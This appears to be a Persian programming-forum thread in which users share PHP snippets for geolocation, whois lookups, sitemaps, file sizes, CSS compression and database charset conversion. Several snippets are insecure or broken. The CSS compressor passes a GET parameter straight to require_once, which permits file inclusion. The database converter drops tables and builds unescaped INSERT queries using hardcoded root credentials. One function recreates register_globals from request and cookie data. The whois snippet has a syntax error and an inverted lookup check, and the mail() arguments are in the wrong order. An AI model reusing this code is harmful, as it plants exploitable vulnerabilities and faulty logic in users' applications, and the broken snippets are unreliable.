تشخیص موقعیت از روی IP :


function detect($ip) {
$default = 'UNKNOWN';
if (!is_string($ip) || strlen($ip) < 1 || $ip == '127.0.0.1' || $ip == 'localhost') {
$ip = '8.8.8.8';
}
$curlopt_useragent = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6 (.NET CLR 3.5.30729)';
$url = 'http://ipinfodb.com/ip_locator.php?ip=' . urlencode($ip);
$ch = curl_init();
$curl_opt = array(
CURLOPT_FOLLOWLOCATION => 1,
CURLOPT_HEADER => 0,
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_USERAGENT => $curlopt_useragent,
CURLOPT_URL => $url,
CURLOPT_TIMEOUT => 1,
CURLOPT_REFERER => 'http://' . $_SERVER['HTTP_HOST'],
);
curl_setopt_array($ch, $curl_opt);
ob_start();
curl_exec($ch);
$content = ob_get_contents();
ob_end_clean();
curl_close($ch);

if(preg_match('#<li>City : ([^<]*)</li>#i', $content, $regs)) {
$city = $regs[1];
}
if(preg_match('#<li>State/Province : ([^<]*)</li>#i', $content, $regs)) {
$state = $regs[1];
}

if($city != '' && $state != '') {
$location = $city . ', ' . $state;
return $location;
}
else {
return $default;
}
}

MMSHFE
سه شنبه 06 تیر 1391, 13:46 عصر
تعداد طرفداران صفحه شما در FaceBook :


<?php
function fb_fan_count($facebook_name) {
// Example: https://graph.facebook.com/ncis.ir
$data = json_decode(file_get_contents("https://graph.facebook.com/".$facebook_name));
echo $data->likes;
}
?>

MMSHFE
سه شنبه 06 تیر 1391, 13:48 عصر
مشاهده میزان حافظه مصرفی اسکریپت شما:


<?php
echo "Initial: ".memory_get_usage()." bytes \n";
/* prints
Initial: 361400 bytes
*/

// let's use up some memory
for ($i = 0; $i < 100000; $i++) {
$array []= md5($i);
}

// let's remove half of the array
for ($i = 0; $i < 100000; $i++) {
unset($array[$i]);
}

echo "Final: ".memory_get_usage()." bytes \n";
/* prints
Final: 885912 bytes
*/

echo "Peak: ".memory_get_peak_usage()." bytes \n";
/* prints
Peak: 13687072 bytes
*/
?>

میتونید کارهای زیادی انجام بدین. مثلاً حافظه مصرفی ابتدا و انتهای اسکریپت رو بدست بیارین و از هم کم کنید تا بفهمید کدتون چقدر در مصرف حافظه بهینه عمل میکنه!

MMSHFE
سه شنبه 06 تیر 1391, 13:56 عصر
Whois با PHP :


<?php
function whois_query($domain) {
// fix the domain name:
$domain = strtolower(trim($domain));
$domain = preg_replace('#^http:\/\/#i', '', $domain);
$domain = preg_replace('#^www\.#i', '', $domain);
$domain = explode('/', $domain);
$domain = trim($domain[0]);

// split the TLD from domain name
$_domain = explode('.', $domain);
$lst = count($_domain)-1;
$ext = $_domain[$lst];

// You find resources and lists
// like these on wikipedia:
//
// http://de.wikipedia.org/wiki/Whois
//
$servers = array(
'ac' => 'whois.nic.ac',
'ae' => 'whois.uaenic.ae',
'aero' => 'whois.information.aero',
'at' => 'whois.ripe.net',
'au' => 'whois.aunic.net',
'be' => 'whois.dns.be',
'bg' => 'whois.ripe.net',
'biz' => 'whois.neulevel.biz',
'br' => 'whois.registro.br',
'bz' => 'whois.belizenic.bz',
'ca' => 'whois.cira.ca',
'cc' => 'whois.nic.cc',
'ch' => 'whois.nic.ch',
'cl' => 'whois.nic.cl',
'cn' => 'whois.cnnic.net.cn',
'com' => 'whois.internic.net',
'coop' => 'whois.nic.coop',
'cz' => 'whois.nic.cz',
'de' => 'whois.nic.de',
'edu' => 'whois.internic.net',
'fr' => 'whois.nic.fr',
'gov' => 'whois.nic.gov',
'hu' => 'whois.nic.hu',
'ie' => 'whois.domainregistry.ie',
'il' => 'whois.isoc.org.il',
'in' => 'whois.ncst.ernet.in',
'info' => 'whois.nic.info',
'int' => 'whois.iana.org',
'ir' => 'whois.nic.ir',
'mc' => 'whois.ripe.net',
'mil' => 'rs.internic.net',
'name' => 'whois.nic.name',
'net' => 'whois.internic.net',
'nl' => 'whois.domain-registry.nl'
'org' => 'whois.pir.org',
'ru' => 'whois.ripn.net',
'to' => 'whois.tonic.to',
'tv' => 'whois.tv',
'us' => 'whois.nic.us',
);

if (!isset($servers[$ext]) || !in_array($ext, $servers)) {
die('Error: No matching nic server found!');
}

$nic_server = $servers[$ext];
$output = '';

// connect to whois server:
if ($conn = fsockopen ($nic_server, 43)) {
fputs($conn, $domain."\r\n");
while(!feof($conn)) {
$output .= fgets($conn, 128);
}
fclose($conn);
}
else {
die('Error: Could not connect to ' . $nic_server . '!');
}

return $output;
}
?>

میتونید سرورهای Whois رو کاملتر کنید.

MMSHFE
سه شنبه 06 تیر 1391, 14:02 عصر
فرستادن خطاهای PHP به ایمیل شما بجای نمایش در صفحه:


<?php
// Our custom error handler
function mail_error_handler($number, $message, $file, $line, $vars) {
$email = "
<p>An error ({$number}) occurred on line
<strong>{$line}</strong> and in the <strong>file: {$file}.</strong>
<p> {$message} </p>";

$email .= "<pre>" . print_r($vars, 1) . "</pre>";

$headers = 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

// Email the error to someone...
@mail($email, 'PHP_ERROR', 'you@youremail.com', $headers);

// Make sure that you decide how to respond to errors (on the user's side)
// Either echo an error message, or kill the entire project. Up to you...
// The code below ensures that we only "die" if the error was more than
// just a NOTICE.
if (($number !== E_NOTICE) && ($number < 2048)) {
die('There was an error. Please try again later.');
}
}

// We should use our custom function to handle errors.
set_error_handler('mail_error_handler');

// Trigger an error... (var doesn't exist)
echo $somevarthatdoesnotexist;
?>

MostafaEs3
سه شنبه 06 تیر 1391, 18:23 عصر
//////////

RAYMOON
شنبه 10 تیر 1391, 03:37 صبح
تشخیص حجم فایل یک لینک
مثلا حجم یک فایل زیپ یک لینک دانلود رو که از سایت دیگه است رو مشخص میکنه:لبخند:





<?php
$remoteFile = 'http://download.thinkbroadband.com/5MB.zip';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
echo 'cURL failed';
exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
$status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
$contentLength = (float)$matches[1];
}


//echo 'HTTP Status: ' . $status . "\n";
//echo 'Content-Length: ' . $contentLength;




function format_bytes($contentLength) {
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $contentLength >= 1024 && $i < 4; $i++) $contentLength /= 1024;
return round($contentLength, 2).$units[$i];
}

echo format_bytes($contentLength);


?>

payam-source
یک شنبه 11 تیر 1391, 15:48 عصر
تعداد حروف در یک رشته رو هم اضافه کن واقعاً مشکل دارم، در ضمت سورت کردن بر اساس حروف الفبا هم یه مشکل جدی تر برامه

tux-world
یک شنبه 29 مرداد 1391, 00:36 صبح
ایندکس کردن مجدد آرایه
function reindex($x, $key_value) { $ret = array(); foreach($x as $_ => $v) { $ret[$v["$key_value"]] = $v; } return $ret; }

tux-world
یک شنبه 29 مرداد 1391, 08:58 صبح
حذف اولین کاراکتر از رشته:
echo substr("12345678", 1); // 2345678

tux-world
یک شنبه 29 مرداد 1391, 09:06 صبح
پیدا کردن پسوند فایل از روی نام فایل یا آدرس :
function get_extension($file) { $extension = end(explode(".", $file)); return $extension ? $extension : false; }

tux-world
یک شنبه 29 مرداد 1391, 09:10 صبح
محاسبه تعداد فایل در دایرکتوری:
$dir_path = "media/"; $wcount = count(glob("" .$dir_path. "*.jpg"));

رضا قربانی
چهارشنبه 01 آذر 1391, 01:21 صبح
مشاهده میزان حافظه مصرفی اسکریپت شما:


<?php
echo "Initial: ".memory_get_usage()." bytes \n";
/* prints
Initial: 361400 bytes
*/

// let's use up some memory
for ($i = 0; $i < 100000; $i++) {
$array []= md5($i);
}

// let's remove half of the array
for ($i = 0; $i < 100000; $i++) {
unset($array[$i]);
}

echo "Final: ".memory_get_usage()." bytes \n";
/* prints
Final: 885912 bytes
*/

echo "Peak: ".memory_get_peak_usage()." bytes \n";
/* prints
Peak: 13687072 bytes
*/
?>

میتونید کارهای زیادی انجام بدین. مثلاً حافظه مصرفی ابتدا و انتهای اسکریپت رو بدست بیارین و از هم کم کنید تا بفهمید کدتون چقدر در مصرف حافظه بهینه عمل میکنه!


خسته نباشید .
اول ممنون بابت پست های مفیدتون . یک سوالی در مورد کدتون داشتم . با این کد می تونیم فقط مقدار فضای اشغالی از هاست رو بفهمیم ؟ یعنی فایل ها و عکس هایی که در هاست قرار داره ؟

اگر جوابتون مثبته آیا فضای اشغالی که دیتابیس قرار داره هم محاسبه می کنه ؟

در کل منظورم اینه که مقدار فایل ها و پوشه ها و عکس ها و حجم دیتابیس یک مقداری رو اشغال می کنن آیا این کد : میزان حافظه اشغالی از این مجموعه رو بهم نمایش میده یا خیر

با تشکر

2undercover
چهارشنبه 01 آذر 1391, 14:12 عصر
خسته نباشید .
اول ممنون بابت پست های مفیدتون . یک سوالی در مورد کدتون داشتم . با این کد می تونیم فقط مقدار فضای اشغالی از هاست رو بفهمیم ؟ یعنی فایل ها و عکس هایی که در هاست قرار داره ؟

اگر جوابتون مثبته آیا فضای اشغالی که دیتابیس قرار داره هم محاسبه می کنه ؟

در کل منظورم اینه که مقدار فایل ها و پوشه ها و عکس ها و حجم دیتابیس یک مقداری رو اشغال می کنن آیا این کد : میزان حافظه اشغالی از این مجموعه رو بهم نمایش میده یا خیر

با تشکر

هیچ کدام.این کد مقدار رم اشغال شده اسکریپت رو بر میگردونه!

mehdiv
دوشنبه 04 دی 1391, 02:57 صبح
1. Human Readable Random String


This code will create a human readable string that will look more close to dictionary words, useful for captchas.



/**************
*@length - length of random string (must be a multiple of 2)
**************/
function readable_random_string($length = 6){
$conso=array("b","c","d","f","g","h","j","k","l",
"m","n","p","r","s","t","v","w","x","y","z");
$vocal=array("a","e","i","o","u");
$password="";
srand ((double)microtime()*1000000);
$max = $length/2;
for($i=1; $i<=$max; $i++)
{
$password.=$conso[rand(0,19)];
$password.=$vocal[rand(0,4)];
}
return $password;
}

amir001
پنج شنبه 05 بهمن 1391, 14:25 عصر
با سلام

کلاسی برای باز کردن صفحات وب در سمت سرور.

متد اصلی این کلاس یک URL را میگیرد و آن را باز میکند.

تنها کاری که نیاز هست انجام دهیم این هست که آدرس URL را به تابع اصلی آن بدهیم تا سایت را باز کند و در صورتی که بخواهیم دیتایی را به آن URL ارسال کنیم باید آن را به عنوان آرگومان دوم به تابع بدهیم.

مزیت های این کلاس:
کار با کوکی ها (در صورتی که در پاسخ URL کوکی باشد آنرا ذخیره کرده و به همراه درخواست های بعدی ارسال میکند.)
امکان اضافه و کم کردن کوکی ها.
امکان اضافه کردن Referere به هدرها.
امکان اضافه کردن هدر های سفارشی
پشتیبانی از gzip در ورودی دیتا. (با این امکان حجم داده های دریافتی تا چند برابر کمتر میشوند ، در صورتی که سرور مورد نظر ما از آن پشتیبانی کند.)
پشتیبانی از SSL برای کار با پروتکل Https

در صورت وجود Location در هدر دریافتی به صورت اتوماتیک به لینک جدید میرود

و مهمترین ویژگی اون فکر میکنم سادگی کار با اون هست.

یک نمونه:


<?php

include_once("browser.class.php");
$ff = new Browser();
$ff->Open("http://www.google.com/");
echo $ff->Response['body'];
?>

برای دریافت فایل کلاس و توضیحات کاملتر و بیان نظرات و سوالات به تاپیک آن مراجعه کنید.

لینک تاپیک (http://barnamenevis.org/showthread.php?274822-%DA%A9%D9%84%D8%A7%D8%B3%DB%8C-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%A8%D8%A7%D8%B2-%DA%A9%D8%B1%D8%AF%D9%86-%D8%B5%D9%81%D8%AD%D8%A7%D8%AA-%D9%88%D8%A8-%D8%A8%D8%A7-PHP-%D8%AF%D8%B1%D9%88%D9%86-%D8%B3%D8%B1%D9%88%D8%B1-%28%D8%AF%D8%B1-%D8%AA%DA%A9%D9%85%DB%8C%D9%84-%DA%A9%D8%B1%D8%AF%D9%86-%D8%A2%D9%86-%DA%A9%D9%85%DA%A9-%DA%A9%D9%86%DB%8C%D8%AF%29)

MMSHFE
جمعه 13 بهمن 1391, 08:35 صبح
تبدیل دیتابیس غیر Unicode به Unicode بصورت خودکار
امروز دیدم یکی از دوستان مشکلی توی نمایش حروف فارسی ذخیره شده توی دیتابیس داشت که با راهنمایی که کردیم، اطلاعات جدید رو تونست به درستی ذخیره کنه ولی اطلاعات قبلی که توی دیتابیس داشت، چون یونیکد ذخیره نشده بود، همچنان بهم ریخته ظاهر میشد. گفتم بشینم یک Converter بنویسم که به راحتی دیتابیسهای غیر یونیکد رو تبدیل به یونیکد میکنه. اینم از کد:


<!doctype html>
<html>
<head>
<title>DB Conversion to UTF-8</title>
<meta charset="utf-8"/>
</head>
<body>
<?php

// Prevent script time-out error
set_time_limit(0);

define('HOST', 'localhost'); // Your MySQL host name
define('NAME', 'newncis'); // Your database name
define('PASS', 'ncis'); // Your MySQL password
define('USER', 'root'); // Your MySQL username

// Extract tables of a database
$tables = array();

// Connect to DBMS
mysql_connect(HOST, USER, PASS) or die('Connection error');
mysql_select_db(NAME) or die('Database error');

// Extract table names
$result = mysql_query('SHOW TABLES');
if($result && mysql_num_rows($result) > 0) {
while($row = mysql_fetch_row($result)) {
$tables[$row[0]] = array(
'query' => '',
'values' => array(),
);
}
mysql_free_result($result);
}

// Create each table's utf-8 create query and extract current values
foreach($tables as $name => $table) {
$result = mysql_query('SHOW CREATE TABLE `' . $name . '`');
if($result && mysql_num_rows($result)) {
$row = mysql_fetch_row($result);
$query = $row[1];
if(preg_match('#(default charset)=([^\s]+)#i', $query)) {
$query = preg_replace('#(default charset)=([^\s]+)#i', '$1=utf8', $query);
}
else {
$query .= ' DEFAULT CHARSET=utf8';
}
if(preg_match('#(collate)=([^\s]+)#i', $query)) {
$query = preg_replace('#(collate)=([^\s]+)#i', '$1=utf8_bin', $query);
}
else {
$query .= ' COLLATE=utf8_bin';
}
$tables[$name]['query'] = $query;
mysql_free_result($result);
}
$result = mysql_query('SELECT * FROM `' . $name . '`');
if($result && mysql_num_rows($result) > 0) {
$i = 0;
while($row = mysql_fetch_row($result)) {
$tables[$name]['values'][$i] = array();
foreach($row as $item) {
$tables[$name]['values'][$i][] = $item;
}
$i++;
}
mysql_free_result($result);
}
}

// Now switch to utf-8 encoding
mysql_query('SET NAMES \'utf8\'');

// Drop old tables, create new utf-8 tables and store values into new tables
foreach($tables as $name => $table) {
echo '<p>TABLE: `' . $name;
mysql_query('DROP TABLE IF EXISTS `' . $name . '`');
mysql_query($table['query']);
if(count($table['values']) > 0) {
foreach($table['values'] as $value) {
$query = 'INSERT INTO `' . $name . '` VALUES (';
foreach($value as $item) {
$query .= '\'' . $item . '\',';
}
$query = mb_substr($query, 0, -1, 'utf-8') . ')';
mysql_query($query);
}
}
echo $name . '` DONE.</p>' . PHP_EOL;
}
?>
</body>
</html>

فایل رو هم ضمیمه کردم. فقط قبلش 4 تا define اول اسکریپت رو با اطلاعات دیتابیس خودتون تنظیم کنید.
روش کارش هم جالبه:
1- استخراج تمام جدولهای توی دیتابیس
2- استخراج کوئری ساخت جداول
3- جایگزینی Collation با utf-8
4- استخراج تمام اطلاعات جداول با کدگذاری قبلی
5- حذف تمام جداول
6- ساخت جداول با همون ساختار قبلی ولی با کدگذاری یونیکد
7- درج مقادیر قبلی توی جدول جدید با کدگذاری یونیکد
اگه سؤالی بود در خدمتم.

MinusOne
جمعه 20 بهمن 1391, 17:50 عصر
تشخیص موقعیت از روی IP : ...

ما با این روش موقعیت IP رو با استفاده از سایت ipinfodb به دست آوردیم . خود اون سایت چجوری موقعیت رو تعیین می کنه ؟ آیا آیپی های موجود در یک بازی همگی موقعیت مکانی یکسانی دارن ؟

MMSHFE
سه شنبه 24 بهمن 1391, 08:37 صبح
سایت ipinfodb موقع مکانی IP رو به شما نمیده، بلکه موقعیت مکانی ISP شما رو اعلام میکنه. نه فقط این سایت، بلکه تمام سایتهای مشابه مثل IP2Location و... به همین روش کار میکنن و یک دیتابیس عظیم از آدرس IP شرکتهای ISP تهیه کردن و براساس اون کار میکنن. پیدا کردن موقعیت مکانی واقعی شما امکان پذیر نیست. فرض کنید با مودم Wireless یا WiMAX یا GPRS یا Edge و... دارین کار میکنید و درحال حرکت، به اینترنت وصل شدین. اونوقت چطوری میشه موقعیت دقیق شما رو پیدا کرد؟ اگه امکان پذیر بود که نیازی به اختراع GPS نداشتیم. درسته؟

rayared
چهارشنبه 02 اسفند 1391, 17:59 عصر
سلام
این فایل اموزشی که امروز اماده کردم شامل یک اموزش(pdf) برای ساخت یک سیستم عضویت کاربر و ورود کاربر به همراه پنل کاربری ساده می باشد و اسکریپت + یک کد کاربردی دیگر که خیلی از سوال های تازه کار ها رو جواب میده لطفا پیشنهاد و انتقادات خودتون رو بهم بگین درضمن اگه غلط املائی داره یا اشتباه تایپی به بزرگی خودتون ببخشید اخه با عجله نوشتم
امیدوارم به درد بخوره
موفق باشید

جهت دانلود کلیک کنید (http://mihanmail.com/new/share/?user=rayared@mihanmail.ir)
رمز:rayared

MMSHFE
سه شنبه 08 اسفند 1391, 19:08 عصر
فشرده سازی خودکار فایلهای CSS با PHP


<?php
ob_start('compress');
header('Content-Type: text/css');
function compress($buffer) {
/* remove comments */
$buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
/* remove tabs and newlines, etc. */
$buffer = str_replace(array("\r\n", "\r", "\n", "\t"), '', $buffer);
/* remove unnecessary whitspaces */
$buffer = preg_replace('#[\s]{2,}#', ' ', $buffer);
return $buffer;
}

/* your css files */
if(isset($_GET['css']) && file_exists($_GET['css'])) {
require_once $_GET['css'];
}

ob_end_flush();
?>

مثالی از نحوه استفاده:

<link href="csscompress.php?css=style.css" rel="stylesheet" type="text/css"/>

MMSHFE
سه شنبه 08 اسفند 1391, 19:11 عصر
تولید خودکار لینک کوتاه برای URLهای شما


function getTinyUrl($url) {
return file_get_contents('http://tinyurl.com/api-create.php?url=' . $url);
}

MMSHFE
سه شنبه 08 اسفند 1391, 19:16 عصر
جلوگیری از Cache شدن فایلهای CSS و JS و... توسط مرورگر بازدیدکنندگان

<link href="/stylesheet.css?<?php echo time(); ?>" rel="stylesheet" type="text/css"/>
نکته: وجود ? و بعد از آن، درج Timestamp باعث می‌شود که مرورگر فایل درخواستی را پویا فرض کند (دارای پارامتر دریافتی به روش GET است) و درنتیجه از نسخه Cacheشده استفاده نمیکند و همیشه نسخه موجود در سایت را درخواست مینماید. از همین روش برای فایلهای JS نیز می‌توان استفاده‌کرد. مثال:

<script src="/action.js?<?php echo time(); ?>" type="text/javascript"></script>

pouyaweb
چهارشنبه 09 اسفند 1391, 16:26 عصر
خیلی عالیه ممنون دوستان

MRmoon
جمعه 11 اسفند 1391, 16:26 عصر
رسم نمودار با PHP
نمونه خروجی:
86615
امیدوارم این هم به درد بخوره. موفق باشید.

فقط یه چیز میتونم بگم :

:متعجب::متعجب::متعجب:

والا من اینو ندیده بودم!

واقعا که کارت حرف نداره!

مهرداد سیف زاده
چهارشنبه 07 فروردین 1392, 09:17 صبح
کل اسنیپت‌هایی که دوستان تا به حال زحمتش رو کشیدن و همچنین اسنیپت‌های سایت phpsnips.com ( بر اساس گروه‌بندی خود سایت) رو میتونید از لینک زیر دانلود کنید.

دانلود کل اسنیپ‌ها (http://s3.picofile.com/file/7704839672/barnamenevis_org_phpsnips_com_all_anipts.rar.html)

tux-world
دوشنبه 13 خرداد 1392, 12:51 عصر
تشخیص موقعیت از روی IP :

برای ایران که جواب نمیده نه؟

MMSHFE
سه شنبه 14 خرداد 1392, 10:23 صبح
من که تست کردم کار کرد. ببینید، IP کشف شده متعلق به ISP شماست نه خود شما چون شما پشت NAT قرار دارین. این قضیه برای تمام کامپیوترهایی که Valid IP ندارن صدق میکنه و ارتباطی به کشور نداره.

MMSHFE
چهارشنبه 15 خرداد 1392, 08:08 صبح
نسخه شئ گرای اسکریپت تولید خودکار SiteMap که قبلاً نوشته بودم:


<?php
/**
* Automated XML Site Map Generator
* @author Mohammad Mostafa Shahreki
* @copyright All rights reserved for nCIS
* @link http://www.ncis.ir
*/
class SiteMap {
/**
* @var array Ignore the file/folder if these words appear anywhere in the name
*/
private static $alwaysIgnore;

/**
* @var array Allowed extensions to consider in sitemap
*/
private static $extensions;

/**
* @var array The script will not enter these folders
*/
private static $ignoreDirs;

/**
* @var array These files will not be linked in the sitemap
*/
private static $ignoreFiles;

/**
* @var string Where is the root of the site path
*/
private static $root;

/**
* @var string The Url of the site - the last '/' is needed
*/
private static $url;

/**
* This function extracts pages
* @param string $currentDir The current direcotry
* @return array The array of extracted pages
*/
private static function getPages($currentDir) {
$pages = array();
chdir($currentDir);
$ext = '{*.' . implode(',*.', self::$extensions) . '}';
$files = glob($ext, GLOB_BRACE);
foreach($files as $file) {
$flag = true;
if(in_array($file, self::$ignoreFiles)) {
$flag = false;
}
else {
foreach(self::$alwaysIgnore as $ignore) {
if(strpos($file, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$pages[] = self::$url . ($currentDir != self::$root ? $currentDir . '/' : '') . $file;
}
}
$dirs = glob('{*,*.*}', GLOB_BRACE | GLOB_ONLYDIR);
foreach($dirs as $dir) {
$flag = true;
if(in_array($dir, self::$ignoreDirs)) {
$flag = false;
}
else {
foreach(self::$alwaysIgnore as $ignore) {
if(strpos($dir, $ignore) !== false) {
$flag = false;
}
}
}
if($flag) {
$cwd = getcwd();
$pages = array_merge($pages, self::getPages(str_replace('\\', '/', $dir)));
chdir($cwd);
}
}
return $pages;
}

/**
* Generate site map and store it in sitemap.xml in the site root folder
* @param string $url The main URL of the site
* @param string $root (Optional) The root path of the site (if not specified, the current directory of this file is used)
* @param string $extensions (Optional) The comma separated string of extensions to index in the site map
* @param string $alwaysIgnore (Optional) The current processing file/folder is ignored if contains any of words of this comma separated string
* @param string $ignoreDirs (Optional) The directories mentioned in this comma separated string will not be scanned
* @param string $ignoreFiles (Optional) The files mentioned in this comma separated string will be ommited from the site map
*/
public static function Generate($url, $root = NULL, $extensions = NULL, $alwaysIgnore = NULL, $ignoreDirs = NULL, $ignoreFiles = NULL) {
self::$url = trim($url, '/') . '/';
self::$root = ($root === NULL ? str_replace('\\', '/', dirname(__FILE__)) : $root);
self::$extensions = ($extensions === NULL ? array('htm', 'html', 'php') : explode(',', $extensions));
self::$alwaysIgnore = ($alwaysIgnore === NULL ? array('.inc', 'admin', 'image') : explode(',', $alwaysIgnore));
self::$ignoreDirs = ($ignoreDirs === NULL ? array('admin', 'css', 'images', 'inc', 'js', 'lib', 'styles', 'uploads') : explode(',', $ignoreDirs));
self::$ignoreFiles = ($ignoreFiles === NULL ? array('404.html', 'config.php', 'include.inc') : explode(',', $ignoreFiles));
$cwd = getcwd();
$all_pages = self::getPages(self::$root);
chdir($cwd);
$output = '';
$output .= '<?xml version="1.0" encoding="UTF-8"?>' . PHP_EOL;
$output .= '<urlset xmlns="http://www.google.com/schemas/sitemap/0.84" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.google.com/schemas/sitemap/0.84 http://www.google.com/schemas/sitemap/0.84/sitemap.xsd">' . PHP_EOL;
//Process the files
foreach ($all_pages as $link) {
//Find the modified time.
if(preg_match('#index\.\w{3,4}$#', $link)) {
$link = preg_replace('#index\.\w{3,4}$#', '', $link);
}
$output .= ' <url>' . PHP_EOL;
$output .= ' <loc>' . htmlentities($link, ENT_QUOTES, 'utf-8') . '</loc>' . PHP_EOL;
$output .= ' </url>' . PHP_EOL;
}
$output .= '</urlset>' . PHP_EOL;
file_put_contents(self::$root . '/sitemap.xml', $output);
@chmod(self::$root . '/sitemap.xml', 0644);
}
}
?>

مثالی از نحوه استفاده:


<?php
require_once 'class.sitemap.php';
SiteMap::Generate('http://localhost/sitemap', NULL, 'php', 'admin', 'languages,plugins,upgrade,uploads,wp-includes', 'wp-cron.php');
?>

یا میتونید توی همون فایل کلاس، این کد رو به انتهاش اضافه کنید:


SiteMap::Generate('http://localhost/sitemap', NULL, 'php', 'admin', 'languages,plugins,upgrade,uploads,wp-includes', 'wp-cron.php');

و توسط Cron Jobs (در فواصل زمانی مشخص) یا توی اسکریپتتون (هرموقع مطالب تغییر کرد) فایل رو ضمیمه کنید.
نکته:
این اسکریپت ازروی فایلهای سایتتون SiteMap رو میسازه. اگه سایتتون Dynamic هست و مطالب با روشهایی مثل Get و... ازطریق یک صفحه خاص استخراج میشن، بهترین و ساده ترین کار، استخراج لینکهای اطلاعات از دیتابیس و تولید فایل SiteMap.xml هست.

MMSHFE
چهارشنبه 15 خرداد 1392, 08:25 صبح
بدست آوردن اندازه فایلها با واحد B و KB و MB و... بطور خودکار :


<?php
function FormatSize($url, $remote = false, $precision = 2) {
$bytes = 0;
if(!$remote) {
if(file_exists($url)) {
$bytes = filesize($url);
}
}
else {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Not necessary unless the file redirects
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
return -1;
}
if (preg_match('#Content-Length: (\d+)#i', $data, $matches)) {
$bytes = trim($matches[1]);
}
}
settype($bytes, 'double');
$units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
$len = count($units);
for ($i = 0; $bytes >= 1024 && $i < $len; $i++) {
$bytes /= 1024;
}
return round($bytes, $precision) . $units[$i];
}
/* Usage Samples:
echo '<p>' . FormatSize('images/logo.png') . '</p>' . PHP_EOL;
echo '<p>' . FormatSize('http://www.google.com/images/srpr/logo4w.png', true) . '</p>' . PHP_EOL;
*/
?>

این اسکریپت حتی سایز فایل سایتهای دیگه و حتی لینک فایلهای RapidShare و... رو هم میتونه استخراج کنه.

tux-world
پنج شنبه 16 خرداد 1392, 10:19 صبح
مهندس جان نوشتید یا نقل کردید؟

MMSHFE
پنج شنبه 16 خرداد 1392, 11:35 صبح
کدوم اسکریپت رو میگین؟ منظورتون رو از این لحن صحبت متوجه نمیشم (بنظر کنایه آمیز میاد). تقریباً تمام اسکریپتهایی که میگذارم رو نوشتم و اگه مورد خاصی باشه که نقل قول باشه، منبعش رو اعلام میکنم.

tux-world
پنج شنبه 16 خرداد 1392, 19:59 عصر
سلام. نه کنایه امیز نیست اشتباه نکن شاید لحن اینطوری باشه. اصلا فقط سوال بود همین چون اسکریپت جالبی بود و نمونه دیدم بودم پرسیدم

MMSHFE
پنج شنبه 16 خرداد 1392, 20:35 عصر
بجز اسکریپت آخر (نمایش اندازه فایل) که بخش کوچکی از اون (انتخاب واحد مناسب برای نمایش اندازه) رو از سایت دیگری که آدرسش متأسفانه یادم نیست، بقیه رو خودم نوشتم. درصورت تمایل میتونم لینک PasteBin اونها و صفحه فیسبوک مربوطه رو هم ارائه بدم (هرچند نیازی نیست). بهرحال امیدوارم کدهای کارآمد و خوبی باشه و به درد دوستان بخوره.

MostafaEs3
یک شنبه 23 تیر 1392, 22:27 عصر
//////////

qartalonline
دوشنبه 24 تیر 1392, 18:54 عصر
در واقع این تابع متن رو گرفته و کلمات پرتکرار رو باز میگردونه و در نتیجه باعث بهتر شدن سئو سایت میشه.

تابع 4 ورودی داره. که اولی اجباریه.

text$ : متن مورد نظر
strlen$ : حداکثر طول رشته خروجی
word$ : حداکثر تعداد کلمات خروجی
shortlen$ : کلمات تعداد حروفشان کمتر از این مقدار باشند حذف میشوند. (مثلا بطور پیشفرض عبارتهای دو حرفی مثل "از"، "و" حذف میشوند.)

MMSHFE
سه شنبه 15 مرداد 1392, 14:02 عصر
نسخه معادل تابع import_request_variables که در نسخه های جدید PHP حذف شده
این تابع هم در نوع خودش خیلی کاربردی بود و نمیدونم چرا حذفش کردن ولی بهرحال، برای کارهای شخصی خودم، اون رو بازنویسی کردم (با همون کارآیی) که میتونید ازش استفاده کنید:


function ImportRequestVariables($keys, $prefix = '') {
for($i = 0; $i < strlen($keys); $i++) {
switch(strtolower(substr($keys, $i, 1))) {
case 'g':
foreach($_GET as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'p':
foreach($_POST as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'c':
foreach($_COOKIE as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
}
}
}

برای مثال، اگه به شکل زیر صداش بزنید:

ImportRequestVariables('p', 'p_');
میتونید توی بقیه کدتون بجای ['POST['user_$ و ['POST['pass_$ به سادگی از متغیرهای p_user$ و p_pass$ استفاده کنید.

MRmoon
شنبه 02 شهریور 1392, 22:25 عصر
نسخه معادل تابع import_request_variables که در نسخه های جدید PHP حذف شده
این تابع هم در نوع خودش خیلی کاربردی بود و نمیدونم چرا حذفش کردن ولی بهرحال، برای کارهای شخصی خودم، اون رو بازنویسی کردم (با همون کارآیی) که میتونید ازش استفاده کنید:


function ImportRequestVariables($keys, $prefix = '') {
for($i = 0; $i < strlen($keys); $i++) {
switch(strtolower(substr($keys, $i, 1))) {
case 'g':
foreach($_GET as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'p':
foreach($_POST as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
case 'c':
foreach($_COOKIE as $index => $value) {
$name = $prefix . $index;
global $$name;
$$name = $value;
}
break;
}
}
}

